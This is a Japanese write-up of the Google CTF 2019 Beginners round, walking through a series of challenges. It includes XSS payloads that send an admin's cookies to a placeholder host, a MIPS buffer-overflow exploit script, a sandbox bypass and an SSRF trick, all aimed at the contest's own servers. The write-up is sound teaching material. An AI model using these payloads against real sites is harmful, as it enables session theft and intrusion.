Google CTF 2019 Qualification Round (Beginners) Write-up

https://capturetheflag.withgoogle.com

初心者向けのほう。前回はメインのほうと同時開催でメインにあまり時間を掛けられなかったけれど、今回はBeginnersは早めに始まった。

指定された順番に解いていく。途中の選択肢と、複数フラグの問題のどちらのフラグかで分岐するマルチエンディング方式。英語が難しいのでストーリーを読む余裕が無かった……。

1日くらいで全部解いた。

![ss2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/74dba9c7-c005-f131-4518-85f504930607.png)

### Enter Space-Time Coordinates (misc)

フラグの場所に辿り着け。

```shell-session
$ ./rand2
Travel coordinator
0: AC+79 3888 - 162683178490505, 28292978814156
1: Pliamas Sos - 49009618304929, 163040233583869
2: Ophiuchus - 77221619171554, 87155448716933
3: Pax Memor -ne4456 Hi Pro - 264986213692528, 89705085000820
4: Camion Gyrin - 163231866842225, 256144809021787
5: CTF - <REDACTED>

Enter your destination's x coordinate:
>>> 123
Enter your destination's y coordinate:
>>> 456
Arrived somewhere, but not where the flag is. Sorry, try again.
```

問題ファイル名の通り、座標が実行するたびに変わる。

バイナリの中にそのままフラグが入っている。

```shell-session
$ strings rand2 | grep -n3 CTF
36->>>
37-Enter your destination's y coordinate:
38->>>
39:Arrived at the flag. Congrats, your flag is: CTF{welcome_to_googlectf}
40-Arrived somewhere, but not where the flag is. Sorry, try again.
41-;*3$"
42-GCC: (Debian 7.3.0-18) 7.3.0
```

`CTF{welcome_to_googlectf}`

### Ad (ad)

途中の選択肢で「Stare at blue planet」を選ぶとこっち。「Decode signals」を選ぶと次の「Satellite」に行くけれど、この問題を解いても「Satellite」に行く。この問題は意味が無い……？　何なんだろう。

> We interrupt this program for a commercial break
>
> https://www.youtube.com/watch?v=QzFuwljOj8Y

問題ジャンルも「ad」なので、広告関係で何かあるのだろうか？　でも、コンテストに無関係なYouTubeのサイトをハックさせるなんてことあるか……？　で悩んだけれど、（0-indexで）438フレーム目にフラグが書かれていた。「ad」とは。

![0438.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/16207b85-a6a6-e167-c694-8ddf01e757dd.png)

`CTF{9e796ca74932912c216a1cd00c25c84fae00e139}`

### Satellite (networking)

```shell-session
$ ./init_sat
Hello Operator. Ready to connect to a satellite?
Enter the name of the satellite to connect to or 'exit' to quit
hoge
Unrecognized satellite: hoge

Enter the name of the satellite to connect to or 'exit' to quit
osmium
Establishing secure connection to osmium
 satellite...
Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect

a
Username: brewtoot password: ********************       166.00 IS-19 2019/05/09 00:00:00        Swath 640km     Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m        Daily acquisition capacity: 220,000km²  Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E
```

`osmium`はこのファイルと一緒に入っていたPDFに書かれている。URLのGoogleドキュメントを開くと、

```
VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==
```

で、

```
Username: wireshark-rocks
Password: start-sniffing!
```

Goのプログラムは `go tool objdump init_sat` で逆アセンブルできる。が、アセンブラ中のアドレスとファイル中のアドレスの対応関係をとる方法が分からなくて、分量も多いのでつらい。

sniffingしろと言われるし、どこかと通信しているっぽいので、Wiresharkの出番だが、手元のPCでなぜかWiresharkが動かないし、古いマシンではinit_satが動かない。他の問題からして接続先は`*.ctfcompetition.com`だろうとあたりをつけ問題ファイル中を探すと、`satellite.ctfcompetition.com:1337`という文字列が見つかった。

```shell-session
$ nc satellite.ctfcompetition.com 1337
Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect

a
Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f}      166.00 IS-19 2019/05/09 00:00:00       Swath 640km      Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m        Daily acquisition capacity: 220,000km²  Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E
```

パスワードのマスクはクライアント側で掛けていたらしい。

`CTF{4efcc72090af28fd33a2118985541f92e793477f}`

### Home Computer (forensics)

途中の選択肢で、「Home」を選ぶとこっち。

NTFSのイメージ。[FTK Imager](https://cyberforensic.focus-s.com/product/87/)で調べる。C:\Users\Family\Documents\credentials.txt:FILE0 に画像があってフラグが書かれている。代替データストリーム。

`CTF{congratsyoufoundmycreds}`

### Government Agriculture Network (web)

掲示板サイトで、コメントを投稿すると、

> Your post was submitted for review. Administator will take a look shortly.

と言われる。管理者が見てくれるらしいので、

`<img src=x onerror="location='http://hogehoge.example.com:xxxx/?'+document.cookie">`

というメッセージを投げると

```
>py -2 -m SimpleHTTPServer xxxx
Serving HTTP on 0.0.0.0 port xxxx ...
xxx.xxx.xxx.xxx - - [22/Jun/2019 03:25:14] "GET /?flag=CTF{8aaa2f34b392b415601804c2f5f0f24e};%20session=HWSuwX8784CmkQC1Vv0BXETjyXMtNQrV HTTP/1.1" 200 -
```

というアクセスが来る。ちなみに、管理者のセッションIDで管理者になりすますと、 https://govagriculture.web.ctfcompetition.com/admin が開けるようになる。でも、同じフラグが書かれているだけ。

`CTF{8aaa2f34b392b415601804c2f5f0f24e}`

### STOP GAN (bof) 1個目

与えられたconsole.cを読むと、`run`を入力すると`system("/usr/bin/qemu-mipsel-static ./bof")`が実行されることが分かる。

```shell-session
$ nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
 Bonus flag for controlling the crash.

Console commands:
run
quit
>>run
Inputs: run
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***
Console commands:
run
quit
>>
```

このフラグで通常ルート（線が繋がっているほう）に進む。

`CTF{Why_does_cauliflower_threaten_us}`

### STOP GAN (bof) 2個目

crashをcontrollするために、まずはbofを解析する。前にビルドした[全部入りbinutils](http://7shi.hateblo.jp/entry/2013/07/30/011348)のobjdumpで逆アセンブル。

クラッシュしたときには`write_out`が呼ばれて、flag0が出力される。似たような処理の`local_flag`という関数があって、flag1を出力しているのでここに飛ばせば良い。

MIPSは、`ret`でスタックに積まれたアドレスに戻るのではなく、`jr`で`ra`レジスタのアドレスに戻る。関数が別の関数を呼び出すとき、`ra`レジスタはスタックに退避されるのでやることは変わらない。

`sp`（と同じ値の`s8`）を基準にした`main`関数のスタックは下記の通り。

|アドレス|サイズ|内容|
|---|--:|---|
|0x0010|4|`gp`の退避|
|0x0018|4|フラグ※|
|0x001c|4|バッファ|
|0x0120|4|`s8`の退避|
|0x0124|4|`ra`の退避|

※ 0ならば`local_flag`呼び出し。でも、たぶん1固定で書き換え不可

ということで、`a`を0x108個並べて、その後に値を入れれば`ra`に書き込まれる。なぜか`local_flag`の先頭に飛ばすと駄目で、`0x400860`に飛ばすと成功した。`s8`が壊れるから`s8`を触るようなところに飛ばすのがダメなのは分かるけれど、なぜ`local_flag`の先頭ではダメなのかが分からない。実際に実行できる環境が欲しかった。

```attack.py
from socket import *
from struct import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("buffer-overflow.ctfcompetition.com", 1337))

sleep(1)
print s.recv(999)
s.sendall("run\n")

sleep(1)
print s.recv(999)
s.sendall("a"*0x108 + pack("<I", 0x400860) + "\n")

sleep(1)
print s.recv(999)
```

```
>py -2 attack.py
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
 Bonus flag for controlling the crash.

Console commands:
run
quit
>>
Inputs: run

CTF{controlled_crash_causes_conditional_correspondence}
CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***
Console commands:
run
quit
>>
```

`CTF{controlled_crash_causes_conditional_correspondence}`

### Work Computer (sandbox) 1個目

分岐で「Work」を選ぶとこっち。

与えられたサーバーに繋ぐとシェルが動いている。

```
> ls -al
total 12
drwxrwxrwt    2 0        0               80 Jun 24 15:33 .
drwxr-xr-x   20 0        0             4096 Jun 13 14:28 ..
----------    1 1338     1338            33 Jun 24 15:33 ORME.flag
-r--------    1 1338     1338            28 Jun 24 15:33 README.flag
> id
uid=0 gid=0 euid=1338 groups=0
> cat README.flag
error: No such file or directory
```

ただし、`cat`を含めいくつかのコマンドが無い。

`split`で1バイトごとに分割して、`md5sum`でハッシュ値を求め、逆算するということをした。

そんな面倒なことをしなくても`tar`で良かった。`iconv`でも良い。

```shell-session
> tar c README.flag
README.flag                                                                                         0000400 0002472 0002472 00000000034 13504166522 010417  0                                                                                   ustar   1338                            1338                                                                            CTF{4ll_D474_5h4ll_B3_Fr33}
                                                                                                                        > iconv README.flag
CTF{4ll_D474_5h4ll_B3_Fr33}
```

`CTF{4ll_D474_5h4ll_B3_Fr33}`

### Work Computer (sandbox) 1個目

実行ユーザーIDが1338なので、read権限が無いファイルORME.flagは開けない。所有者が自分なのだからread権限を付けようかと思ったけれど、当然`chmod`も無い。ところで、これらのコマンドは`busybox`である。じゃあ、ファイルが無くても`busybox chmod`で動かせば良いかと思ったが、「alien reasons」で封じられている。`ln`も`cp`も無い。

```shell-session
> chmod a+r ORME.flag
error: No such file or directory
> ls -al /bin
total 808
drwxr-xr-x    2 65534    65534         4096 Jun 13 14:28 .
drwxr-xr-x   20 0        0             4096 Jun 13 14:28 ..
lrwxrwxrwx    1 65534    65534           12 May  9 20:49 arch -> /bin/busybox
-rwxr-xr-x    1 65534    65534       796240 Jan 24 07:45 busybox
lrwxrwxrwx    1 65534    65534           12 May  9 20:49 chgrp -> /bin/busybox
lrwxrwxrwx    1 65534    65534           12 May  9 20:49 chown -> /bin/busybox
 :
> busybox chmod a+r ORME.flag
busybox can not be called for alien reasons.
> which busybox
/bin/busybox
> cp /bin/busybox chmod
error: No such file or directory
> ln -s /bin/busybox chmod
error: No such file or directory
```

答え。

```shell-session
> /lib/ld-musl-x86_64.so.1 /bin/busybox chmod a+r ORME.flag
> ls -al
total 12
drwxrwxrwt    2 0        0               80 Jun 24 15:33 .
drwxr-xr-x   20 0        0             4096 Jun 13 14:28 ..
-r--r--r--    1 1338     1338            33 Jun 24 15:33 ORME.flag
-r--------    1 1338     1338            28 Jun 24 15:33 README.flag
> /lib/ld-musl-x86_64.so.1 /bin/busybox cat ORME.flag
CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}
```

`ld`で実行すれば`argv[0]`を指定できる。`busybox`からは自分が`chmod`というファイル名で起動されたようにしか見えない。

`CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}`

### FriendSpaceBookPlusAllAccessRedPremium.com (reversing)

問題名が長い。

```
🚛 🥇 0️⃣ ✋ 📥 🥇
🚛 🥇 1️⃣ 7️⃣ 4️⃣ 8️⃣ 8️⃣ ✋ 📥 🥇
🚛 🥇 1️⃣ 6️⃣ 7️⃣ 5️⃣ 8️⃣ ✋ 📥 🥇
🚛 🥇 1️⃣ 6️⃣ 5️⃣ 9️⃣ 9️⃣ ✋ 📥 🥇
 :
🚛 🥇 1️⃣ 0️⃣ 6️⃣ ✋ 📥 🥇
🚛 🥈 1️⃣ ✋

🖋💠🔶🎌🚩🏁 🍿 🥇 📥 🥈 📥 🥇 🚛 🥇 3️⃣ 8️⃣ 9️⃣ ✋
📥 🥇 📥 🥈
🏀 💰🏁🚩🎌💠🔶
🌓 🎤
🚛 🥇 1️⃣ ✋ 📥 🥇 🍡 🍿 🥈
😄 🏀 💰💠🔶🎌🚩🏁 😐
 :
```

こんなプログラムと、これを実行するPythonスクリプト。金メダルと銀メダルがあるので、絵文字をカラーで表示できない環境では見分けが付かない。

```shell-session
$ python3 vm.py program
Running ....
http://emoji-t0anaxnr3nacpt4na.w
```

実行すると、URLが出てくるけれど、段々出力が遅くなる。しばらく待っていると、↑ま出てきた。 http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com かな？と思ってい開いたら、猫の写真がいっぱい出てきたけれど、クロールしてもフラグは無し。

絵文字が読みづらすぎるので、変換するスクリプトを書いた。空白区切りになっていて、複数の絵文字が区切られていない場合があるので注意。空白で区切られていないものはラベル名。スタックベースのVMらしい。

```parse.py
with open("program", "r") as f:
  ins = f.read().split()
  p = 0
  while p<len(ins):
    op = ins[p]
    if False: pass
    elif op=='🍡': print("add")
    elif op=='🤡': print("clone")
    elif op=='📐': print("divide")
    elif op=='😲': print("if_zero")
    elif op=='😄': print("if_not_zero")
    elif op=='🏀':
      p += 1
      assert ins[p][0]=='💰'
      print("jump_to %s"%ins[p][1:])
    elif op=='🚛':
      p += 1
      if ins[p]=='🥇':
        acc = 1
      else:
        acc = 2
      num = 0
      p += 1
      while ins[p]!='✋':
        num = num*10 + (ord(ins[p][0])-ord('0'))
        p += 1
      print("load acc%d %d"%(acc, num))
    elif op=='📬': print("modulo")
    elif op=='⭐': print("multiply")
    elif op=='🍿':
      p += 1
      acc = 1 if ins[p]=='🥇' else 2
      print("pop acc%d"%acc)
    elif op=='📤': print("pop_out")
    elif op=='🎤': print("print_top")
    elif op=='📥':
      p += 1
      acc = 1 if ins[p]=='🥇' else 2
      print("push acc%d"%acc)
    elif op=='🔪': print("sub")
    elif op=='🌓': print("xor")
    elif op=='⛰': print("jump_top")
    elif op=='⌛': print("exit")
    elif op[0]=='🖋':
      print("label %s"%op[1:])
    elif op=='😐': print("endif")
    else:
      print("illegal %s"%op)
    p += 1
```

```
load acc1 0
push acc1
load acc1 17488
push acc1
 :
push acc1
load acc1 106
push acc1
load acc2 1
label 💠🔶🎌🚩🏁
pop acc1
push acc2
push acc1
load acc1 389
push acc1
push acc2
jump_to 🏁🚩🎌💠🔶
xor
print_top
load acc1 1
push acc1
add
pop acc2
if_not_zero
jump_to 💠🔶🎌🚩🏁
endif
load acc1 98426
push acc1
load acc1 97850
push acc1
 :
push acc1
load acc1 93766
push acc1
load acc2 99
label 💠🏁🎌🔶🚩
pop acc1
push acc2
push acc1
load acc1 568
push acc1
push acc2
jump_to 🏁🚩🎌💠🔶
xor
print_top
load acc1 1
push acc1
add
pop acc2
if_not_zero
jump_to 💠🏁🎌🔶🚩
endif
load acc1 101141058
push acc1
load acc1 101060206
push acc1
load acc1 101030055
push acc1
 :
push acc1
load acc2 765
label 🚩💠🎌🔶🏁
pop acc1
push acc2
push acc1
load acc1 1023
push acc1
push acc2
jump_to 🏁🚩🎌💠🔶
xor
print_top
load acc1 1
push acc1
add
pop acc2
if_not_zero
jump_to 🚩💠🎌🔶🏁
endif
exit
label 🏁🚩🎌💠🔶
load acc1 2
push acc1
 :
```

まだ長くてつらい。スタックに数列を積んで、🏁🚩🎌💠🔶を呼び出し、返り値とのxorを出力している。

ということで、問題のスクリプトのxorを書き換えて、実行時のスタックを表示してみた。

```
Running ....
 [0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 1, 106, 2]
h[0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 2, 119, 3]
t[0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 3, 113, 5]
t[0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 4, 119, 7]
p[0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 172, 74, 5, 49, 11]
:[0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 172, 6, 74, 101]
/[0, 17488, ..., 267, 344, 264, 339, 208, 216, 242, 7, 172, 131]
/[0, 17488, ..., 267, 344, 264, 339, 208, 216, 8, 242, 151]
e[0, 17488, ..., 267, 344, 264, 339, 208, 9, 216, 181]
m[0, 17488, ..., 267, 344, 264, 339, 10, 208, 191]
o[0, 17488, ..., 267, 344, 264, 11, 339, 313]
j[0, 17488, ..., 267, 344, 12, 264, 353]
 :
```

`i`番目の返り値は、`acc2+i`番目の[回文素数](https://ja.wikipedia.org/wiki/%E5%9B%9E%E6%96%87%E7%B4%A0%E6%95%B0)っぽい。

高速化の工夫は色々考えられるけれど、最大でも1億程度なので、そのまま実装してちょっと待てば良い。

```solve.py
A = [
  (1, [17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 106]),
  (99, [98426, 97850, 97604, 97280, 96815, 96443, 96354, 95934, 94865, 94952, 94669, 94440, 93969, 93766]),
  (765, [101141058, 101060206, 101030055, 100998966, 100887990, 100767085, 100707036, 100656111, 100404094, 100160922, 100131019, 100111100, 100059926, 100049982, 100030045, 9989997, 9981858, 9980815, 9978842, 9965794, 9957564, 9938304, 9935427, 9932289, 9931494, 9927388, 9926376, 9923213, 9921394, 9919154, 9918082, 9916239]),
]

def is_prime(n):
  if n<=1:
    return False
  f = 2
  while f**2<=n:
    if n%f==0:
      return False
    f += 1
  return True

P = [0]
for i in xrange(110000000):
  if str(i)==str(i)[::-1] and is_prime(i):
    P += [i]

flag = ""
for b, S in A:
  for i in range(len(S)):
    flag += chr(S[-i-1]^P[b+i])
print flag
```

`http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/`

http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/amber.html にフラグが書かれた画像がある。

`CTF{Peace_from_Cauli!}`

### Drive to the target (coding)

緯度と経度を指定して移動していき、友だちに会いに行く（？）。近づいたか離れたかは返ってくる。前回の指定と距離が遠すぎても弾かれるし、速すぎても弾かれる。速さは前回のリクエストとの時間差を見ているっぽい。

全部スクリプトで実装するのは面倒なので、スクリプトは指定した差分で移動し続けるだけにした。

```solve.py
import sys, urllib2, re

url = sys.argv[1]
dy = float(sys.argv[2])
dx = float(sys.argv[3])

while True:
  print url
  c = urllib2.urlopen(url).read()
  lat = re.search(r'name="lat" value="(.*?)"', c).group(1)
  lon = re.search(r'name="lon" value="(.*?)"', c).group(1)
  token = re.search(r'name="token" value="(.*?)"', c).group(1)
  message = re.search(r'<p>(.*?)</p>', c).group(1)
  print "lat: ", lat
  print "lon: ", lon
  print "token: ", token
  print "message: ", message
  url = r'https://drivetothetarget.web.ctfcompetition.com/?lat=%.4f&lon=%.4f&token=%s' % (
    float(lat)+dy, float(lon)+dx, token)
```

スタート地点（51.6498, 0.0982）から東（正）に行くと離れていると言われ、西（負）だと近づくので、まずは西に0.0001ずつ移動。

(51.6498, -0.193)から離れていると言われるようになった。ここから、北（正）に行くと離れていると言われるので、0.0001ずつ南に移動。

(51.4921, -0.193)にいた。

```
 :
https://drivetothetarget.web.ctfcompetition.com/?lat=51.4922&lon=-0.1930&token=gAAAAABdDd4CrLPIhwxTobglh6l_BuyCgJ4czsm0_vWWb5cTuRT2MpmxprG9dVqkbcCQINS27ZAFB3d2bbpIIMmlGVzhahBA6az__nfShKOYxw0cCGpEjZq6SrlwAPPH1FGnH_IwVTTG
lat:  51.4922
lon:  -0.193
token:  gAAAAABdDd4DmHGuUjt8rJahZF8DOOA2nIiUPVaa3JOXpvBYFrJcs3H2TvZBrspDZEyRIRgCQbmsGdvVI1o5YoSAcJQR0gEukVAtpz6y2_LBVWe1SznD5rJ0IsLKkHyyaiNTu6e4U0eE
message:  You went 11m at a speed of 45km/h. You are getting closer…
https://drivetothetarget.web.ctfcompetition.com/?lat=51.4921&lon=-0.1930&token=gAAAAABdDd4DmHGuUjt8rJahZF8DOOA2nIiUPVaa3JOXpvBYFrJcs3H2TvZBrspDZEyRIRgCQbmsGdvVI1o5YoSAcJQR0gEukVAtpz6y2_LBVWe1SznD5rJ0IsLKkHyyaiNTu6e4U0eE
lat:  51.4922
lon:  -0.193
token:  gAAAAABdDd4DmHGuUjt8rJahZF8DOOA2nIiUPVaa3JOXpvBYFrJcs3H2TvZBrspDZEyRIRgCQbmsGdvVI1o5YoSAcJQR0gEukVAtpz6y2_LBVWe1SznD5rJ0IsLKkHyyaiNTu6e4U0eE
message:  Woa, were about to move at 98km/h, this is too fast!
https://drivetothetarget.web.ctfcompetition.com/?lat=51.4921&lon=-0.1930&token=gAAAAABdDd4DmHGuUjt8rJahZF8DOOA2nIiUPVaa3JOXpvBYFrJcs3H2TvZBrspDZEyRIRgCQbmsGdvVI1o5YoSAcJQR0gEukVAtpz6y2_LBVWe1SznD5rJ0IsLKkHyyaiNTu6e4U0eE
lat:  51.4921
lon:  -0.193
token:  gAAAAABdDd4DGiMB7qxBv9PPV0GJzuS9NqcJdWDuO9kCs6Ru9KvNLhwwgbCvj59Oe7a9FITfv9DW_AtHeQXGjUZOXQoIMm99fETCwi9AN7HxO_CJm9KLWualEsYrRDqHouTUiRunHgOg
message:  Congratulations, you made it, here is the flag:  CTF{Who_is_Tardis_Ormandy}
https://drivetothetarget.web.ctfcompetition.com/?lat=51.4920&lon=-0.1930&token=gAAAAABdDd4DGiMB7qxBv9PPV0GJzuS9NqcJdWDuO9kCs6Ru9KvNLhwwgbCvj59Oe7a9FITfv9DW_AtHeQXGjUZOXQoIMm99fETCwi9AN7HxO_CJm9KLWualEsYrRDqHouTUiRunHgOg
lat:  51.4921
lon:  -0.193
token:  gAAAAABdDd4DGiMB7qxBv9PPV0GJzuS9NqcJdWDuO9kCs6Ru9KvNLhwwgbCvj59Oe7a9FITfv9DW_AtHeQXGjUZOXQoIMm99fETCwi9AN7HxO_CJm9KLWualEsYrRDqHouTUiRunHgOg
message:  Woa, were about to move at 89km/h, this is too fast!
 :
```

2回に1回くらい速すぎると怒られたので、適当にウエイトを入れたほうが問題サーバーに優しかったかもしれない。

`CTF{Who_is_Tardis_Ormandy}`

### Cookie World Order (web) 1個目

ストリーミング映像が左に流れ、右で管理者とチャットができる。

```
<img src="x" onerror="location.href='http://example.com:xxxx/?'+document.cookie">
```

と話しかけると、管理者からのアクセスが来る。

```
xxx.xxx.xxx.xxx - - [25/Jun/2019 01:18:04] "GET /?flag=CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r};%20auth=TUtb9PPA9cYkfcVQWYzxy4XbtyL3VNKz HTTP/1.1" 200 -
```

`CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r}`

### Cookie World Order (web) 2個目

クッキーに`auth=TUtb9PPA9cYkfcVQWYzxy4XbtyL3VNKz`を付けて管理者になりすますと、`/admin`に入れる。Camera Controlsというのがあるけれど、

> Requests only accepted from 127.0.0.1

XSSで管理者にアクセスさせれば良いかと思って試したがダメ。管理者はこのサービスを動かしているサーバーをい使っているわけではないのかも。

ちなみに、問題にアクセスする人全員と実際に管理者がチャットをしているわけではなく、`hogehoge`と書き込むとサーバーでは

https://cwo-xss.web.ctfcompetition.com/exploit?reflect=hogehoge

というURLを開き、ページ中のスクリプトで`hogehoge`をHTML中に書き出しているっぽい。特に使い道は思いつかず。

答えはストリーミングのURLで、`/watch?livestream=http://cwo-xss.web.ctfcompetition.com/livestream/garden-livestream.webm`となっている。`http://cwo-xss.web.ctfcompetition.com/livestream/garden-livestream.webm`は外部からはアクセスできない。

https://cwo-xss.web.ctfcompetition.com/watch?livestream=http://cwo-xss.web.ctfcompetition.com/admin/controls は、

> Requests only accepted from 127.0.0.1

https://cwo-xss.web.ctfcompetition.com/watch?livestream=http://localhost/admin/controls は、

> Forbidden
> Your only allowed to make requests to "http://cwo-xss.web.ctfcompetition.com" 

https://cwo-xss.web.ctfcompetition.com/watch?livestream=http://cwo-xss.web.ctfcompetition.com@localhost/admin/controls

でフラグが表示される。`@`の前はBASIC認証の認証情報と解釈される。

`CTF{WhatIsThisCookieFriendSpaceBookPlusAllAccessRedPremiumThingLooksYummy}`

### Crypto Caulingo (crypto)

問題の論文PDF曰く……。カリフラワーは葉っぱの羽ばたきでモールス信号のように互いに通信をしているらしい。ただし、RSAで暗号化されている。この暗号化には特徴があって、$A\times P \approx B\times Q$ が成り立つ。差分は10,000未満。$1\leq A, B \leq 1000$。なんだこれw

```solve1.py
n = 17450892350509567071590987572582143158927907441748820483575144211411640241849663641180283816984167447652133133054833591585389505754635416604577584488321462013117163124742030681698693455489404696371546386866372290759608301392572928615767980244699473803730080008332364994345680261823712464595329369719516212105135055607592676087287980208987076052877442747436020751549591608244950255761481664468992126299001817410516694015560044888704699389291971764957871922598761298482950811618390145762835363357354812871474680543182075024126064364949000115542650091904557502192704672930197172086048687333172564520657739528469975770627

def root(n):
  l = 0
  r = n
  while r-l>1:
    m = (l+r)/2
    if m**2<n:
      l = m
    else:
      r = m
  return l

from fractions import gcd
c = 0
for A in range(1, 1001):
  for B in range(1, A):
    if gcd(A, B)==1:
      print "A, B:", A, B
      nr = root(n*A/B)
      for P in range(nr-10000, nr+10001):
        if n%P==0:
          Q = n/P
          print "P:", P
          print "Q:", Q
```

適当に書いたから、本当は`A`と`B`が逆だったり範囲が±10,000ではなかったりするかも。まあ、`P`と`Q`が出てきたので良し。

```
A, B: 794 607
P: 151086174643947302290817794140091756798645765602409645643205831091644137498519425104335688550286307690830177161800083588667379385673705979813357923016141205953591742544325170678167010991535747769057335224460619777264606691069942245683132083955765987513089646708001710658474178826337742596489996782669571549253
Q: 115502906812186413716028212900548735990904256575141882752425616464266991765240920703188618324966988373216520827723741484031611192826120314542453727041306942082909556327966471790487878679927202639569020757238786152140574636623998668929044300958627146625246115304479897191050159379832505990011874114710868929959
```

```solve2.py
n = 17450892350509567071590987572582143158927907441748820483575144211411640241849663641180283816984167447652133133054833591585389505754635416604577584488321462013117163124742030681698693455489404696371546386866372290759608301392572928615767980244699473803730080008332364994345680261823712464595329369719516212105135055607592676087287980208987076052877442747436020751549591608244950255761481664468992126299001817410516694015560044888704699389291971764957871922598761298482950811618390145762835363357354812871474680543182075024126064364949000115542650091904557502192704672930197172086048687333172564520657739528469975770627
P = 151086174643947302290817794140091756798645765602409645643205831091644137498519425104335688550286307690830177161800083588667379385673705979813357923016141205953591742544325170678167010991535747769057335224460619777264606691069942245683132083955765987513089646708001710658474178826337742596489996782669571549253
Q = 115502906812186413716028212900548735990904256575141882752425616464266991765240920703188618324966988373216520827723741484031611192826120314542453727041306942082909556327966471790487878679927202639569020757238786152140574636623998668929044300958627146625246115304479897191050159379832505990011874114710868929959
msg = 0x50fb0b3f17315f7dfa25378fa0b06c8d955fad0493365669bbaa524688128ee9099ab713a3369a5844bdd99a5db98f333ef55159d3025630c869216889be03120e3a4bd6553d7111c089220086092bcffc5e42f1004f9888f25892a7ca007e8ac6de9463da46f71af4c8a8f806bee92bf79a8121a7a34c3d564ac7f11b224dc090d97fdb427c10867ad177ec35525b513e40bef3b2ba3e6c97cb31d4fe3a6231fdb15643b84a1ce704838d8b99e5b0737e1fd30a9cc51786dcac07dcb9c0161fc754cda5380fdf3147eb4fbe49bc9821a0bcad98d6df9fbdf63cf7d7a5e4f6cbea4b683dfa965d0bd51f792047e393ddd7b7d99931c3ed1d033cebc91968d43f
e = 65537

def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m/n*x, d
  else:
    return 1, 0, m

d = exgcd(e, (P-1)*(Q-1))[0] % ((P-1)*(Q-1))
plain = pow(msg, d, n)

print ("%x"%plain).decode("hex")
```

```
Hey there!

If you are able to decrypt this message, you must a life form with high intelligence!

Therefore, we would like to invite you to our dancing party! 

Here’s your invitation code: CTF{017d72f0b513e89830bccf5a36306ad944085a47}

```

高度知的生命体カリフラワー。

`CTF{017d72f0b513e89830bccf5a36306ad944085a47}`

### Gate lock (hardware)

ファイル名や中身でググると、[Minetest](https://www.minetest.net/) + [Mesecons](http://mesecons.net/) modのワールドらしい。

マイクラで鍛えた技で石を積み上げて上からスクショ。電子回路が作られている。最後が1になれば、畑の扉が開くっぽい。とりあえず数字を画像に書き入れて、回路を読み取る。めんどくせぇ……。

![ss2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/1683348f-8545-59d3-dbae-a50aebfa5e3f.png)

```solve.py
def f(A):
  B = [0]*19
  B[ 0] = A[ 1]&~A[ 2]
  B[ 1] = A[ 3]| A[ 4]
  B[ 2] = A[13]| A[ 5]
  B[ 3] = A[ 8]&~A[ 0]
  B[ 4] = A[19]&~A[17]
  B[ 5] = A[18]| A[16]
  B[ 6] = A[ 6]&~A[ 5]
  B[ 7] = A[15]| A[ 7]
  B[ 8] = A[ 9]|~A[ 1]
  B[ 9] = A[11]|~A[ 3]
  B[10] = A[ 1]|~A[ 9]
  B[11] = A[ 4]|~A[12]
  B[12] = A[10]& A[ 2]
  B[13] = A[12]|~A[ 4]
  B[14] = A[ 3]|~A[11]
  B[15] = A[13]& A[ 5]
  B[16] = A[14]& A[ 6]
  B[17] = A[14]| A[ 6]
  B[18] = A[10]| A[ 2]

  C = [0]*9
  C[ 0] = B[ 0]&~B[ 1]
  C[ 1] = B[ 2]& B[ 3]
  C[ 2] = B[ 4]&~B[ 5]
  C[ 3] = B[ 6]&~B[ 7]
  C[ 4] = B[ 9]& B[10]
  C[ 5] = B[11]&~B[12]
  C[ 6] = B[13]& B[14]
  C[ 7] = B[15]| B[16]
  C[ 8] = B[17]& B[18]

  D = [0]*5
